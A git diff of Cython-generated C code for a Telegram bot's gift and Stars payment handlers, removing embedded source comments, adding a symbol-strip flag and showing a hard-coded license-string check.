0): - * """ ' '. .""" - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) @@ -15642,13 +13745,6 @@ if (!__Pyx_RefNanny) { __Pyx_GOTREF(__pyx_t_3); if (!__Pyx_CyFunction_InitDefaults(__pyx_t_3, sizeof(__pyx_defaults), 1)) __PYX_ERR(0, 60, __pyx_L1_error) - /* "handlers/payments/gift.py":61 - * - * @router.callback_query(F.data.startswith("my_gifts")) - * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any, current_page: int = 0): # <<<<<<<<<<<<<< - * """ ' '. .""" - * - */ if (!(likely(__Pyx_Py3Int_CheckExact(__pyx_int_0)) || __Pyx_RaiseUnexpectedTypeError("int", __pyx_int_0))) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_INCREF(__pyx_int_0); __Pyx_CyFunction_Defaults(__pyx_defaults, __pyx_t_3)->__pyx_arg_current_page = ((PyObject*)__pyx_int_0); @@ -15657,13 +13753,6 @@ if (!__Pyx_RefNanny) { __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_4); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/gift.py":60 - * - * - * @router.callback_query(F.data.startswith("my_gifts")) # <<<<<<<<<<<<<< - * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any, current_page: int = 0): - * """ ' '. .""" - */ __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -15671,13 +13760,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_my_gifts_handler, __pyx_t_4) < 0) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/gift.py":124 - * - * - * @router.callback_query(F.data.startswith("delete_gift|")) # <<<<<<<<<<<<<< - * async def delete_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) @@ -15713,13 +13795,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_delete_gift_handler, __pyx_t_2) < 0) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":139 - * - * - * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< - * async def gift_subscription_handler(callback_query: types.CallbackQuery): - * """ ''. .""" - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) @@ -15750,13 +13825,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_gift_subscription_handler, __pyx_t_2) < 0) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":159 - * - * - * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< - * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L1_error) @@ -15792,13 +13860,6 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_confirm_gift_handler, __pyx_t_4) < 0) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/gift.py":199 - * - * - * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< - * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): - * """ .""" - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) @@ -15835,35 +13896,16 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_finalize_gift_handler, __pyx_t_2) < 0) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":255 - * - * - * def get_hardware_id(): # <<<<<<<<<<<<<< - * """ - * hardware-. - */ __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_19get_hardware_id, 0, __pyx_n_s_get_hardware_id, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__62)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_hardware_id, __pyx_t_2) < 0) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":271 - * return None - * - * async def validate_client_code(): # <<<<<<<<<<<<<< - * """ - * hardware ID . - */ __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_21validate_client_code, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_validate_client_code, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__37)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 271, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_validate_client_code, __pyx_t_2) < 0) __PYX_ERR(0, 271, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":1 - * import hashlib # <<<<<<<<<<<<<< - * import os - * import platform - */ __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) diff --git a/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so b/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so index 2dbf24c5..bca5e84b 100755 Binary files a/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so and b/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/stars_pay.c b/handlers/payments/stars_pay.c index af76ed23..e0cadbd6 100644 --- a/handlers/payments/stars_pay.c +++ b/handlers/payments/stars_pay.c @@ -7,6 +7,9 @@ "-O2", "-static-libgcc" ], + "extra_link_args": [ + "-s" + ], "name": "handlers.payments.stars_pay", "sources": [ "handlers/payments/stars_pay.py" @@ -1498,13 +1501,6 @@ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_cus struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; -/* "handlers/payments/stars_pay.py":32 - * - * - * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< - * async def process_callback_pay_stars( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1523,13 +1519,6 @@ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_call }; -/* "handlers/payments/stars_pay.py":102 - * - * - * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection { PyObject_HEAD PyObject *__pyx_v_amount; @@ -1551,13 +1540,6 @@ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amo }; -/* "handlers/payments/stars_pay.py":155 - * - * - * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1566,13 +1548,6 @@ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_ent }; -/* "handlers/payments/stars_pay.py":170 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input { PyObject_HEAD PyObject *__pyx_v_amount; @@ -1589,26 +1564,12 @@ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_cus }; -/* "handlers/payments/stars_pay.py":208 - * - * - * @router.pre_checkout_query() # <<<<<<<<<<<<<< - * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): - * await pre_checkout_query.answer(ok=True) - */ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query { PyObject_HEAD PyObject *__pyx_v_pre_checkout_query; }; -/* "handlers/payments/stars_pay.py":213 - * - * - * @router.message(F.successful_payment) # <<<<<<<<<<<<<< - * async def on_successful_payment( - * message: types.Message, - */ struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment { PyObject_HEAD double __pyx_v_amount; @@ -3724,13 +3685,6 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/stars_pay.py":32 - * - * - * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< - * async def process_callback_pay_stars( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_1process_callback_pay_stars(PyObject *__pyx_self, @@ -3952,37 +3906,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 32, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":37 - * ): - * - * expected_hash = "21U68SOLOBOT" # <<<<<<<<<<<<<< - * if STARS_ROUTER != expected_hash: - * logger.error(" ! !") - */ __Pyx_INCREF(__pyx_kp_u_21U68SOLOBOT); __Pyx_GIVEREF(__pyx_kp_u_21U68SOLOBOT); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_kp_u_21U68SOLOBOT; - /* "handlers/payments/stars_pay.py":38 - * - * expected_hash = "21U68SOLOBOT" - * if STARS_ROUTER != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_STARS_ROUTER); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - /* "handlers/payments/stars_pay.py":39 - * expected_hash = "21U68SOLOBOT" - * if STARS_ROUTER != expected_hash: - * logger.error(" ! !") # <<<<<<<<<<<<<< - * await callback_query.message.answer( - * text=" , @solonet_sup." - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 39, __pyx_L1_error) @@ -4012,37 +3945,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":40 - * if STARS_ROUTER != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":41 - * logger.error(" ! !") - * await callback_query.message.answer( - * text=" , @solonet_sup." # <<<<<<<<<<<<<< - * ) - * return - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 41, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":40 - * if STARS_ROUTER != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4067,33 +3979,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } } - /* "handlers/payments/stars_pay.py":43 - * text=" , @solonet_sup." - * ) - * return # <<<<<<<<<<<<<< - * - * - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/stars_pay.py":38 - * - * expected_hash = "21U68SOLOBOT" - * if STARS_ROUTER != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ } - /* "handlers/payments/stars_pay.py":46 - * - * - * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< - * - * builder = InlineKeyboardBuilder() - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) @@ -4106,13 +3997,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":48 - * tg_id = callback_query.message.chat.id - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; @@ -4141,45 +4025,17 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":49 - * - * builder = InlineKeyboardBuilder() - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=" ", url="https://t.me/PremiumBot" - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/stars_pay.py":50 - * builder = InlineKeyboardBuilder() - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=" ", url="https://t.me/PremiumBot" - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/stars_pay.py":51 - * builder.row( - * InlineKeyboardButton( - * text=" ", url="https://t.me/PremiumBot" # <<<<<<<<<<<<<< - * ) - * ) - */ __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 51, __pyx_L1_error) if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_url, __pyx_kp_u_https_t_me_PremiumBot) < 0) __PYX_ERR(0, 51, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":50 - * builder = InlineKeyboardBuilder() - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=" ", url="https://t.me/PremiumBot" - * ) - */ __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4209,13 +4065,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":55 - * ) - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_8 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 55, __pyx_L1_error) @@ -4294,13 +4143,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":56 - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 56, __pyx_L1_error) @@ -4316,33 +4158,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__pyx_t_2) { - /* "handlers/payments/stars_pay.py":57 - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - /* "handlers/payments/stars_pay.py":58 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - /* "handlers/payments/stars_pay.py":59 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - */ __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) @@ -4356,13 +4177,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/stars_pay.py":60 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * InlineKeyboardButton( - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) @@ -4380,35 +4194,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/stars_pay.py":58 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/stars_pay.py":62 - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/stars_pay.py":63 - * ), - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< - * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - * ), - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) @@ -4425,13 +4218,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/stars_pay.py":64 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) @@ -4452,13 +4238,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/stars_pay.py":62 - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4489,44 +4268,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/stars_pay.py":56 - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ goto __pyx_L8; } - /* "handlers/payments/stars_pay.py":68 - * ) - * else: - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ /*else*/ { __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - /* "handlers/payments/stars_pay.py":69 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - /* 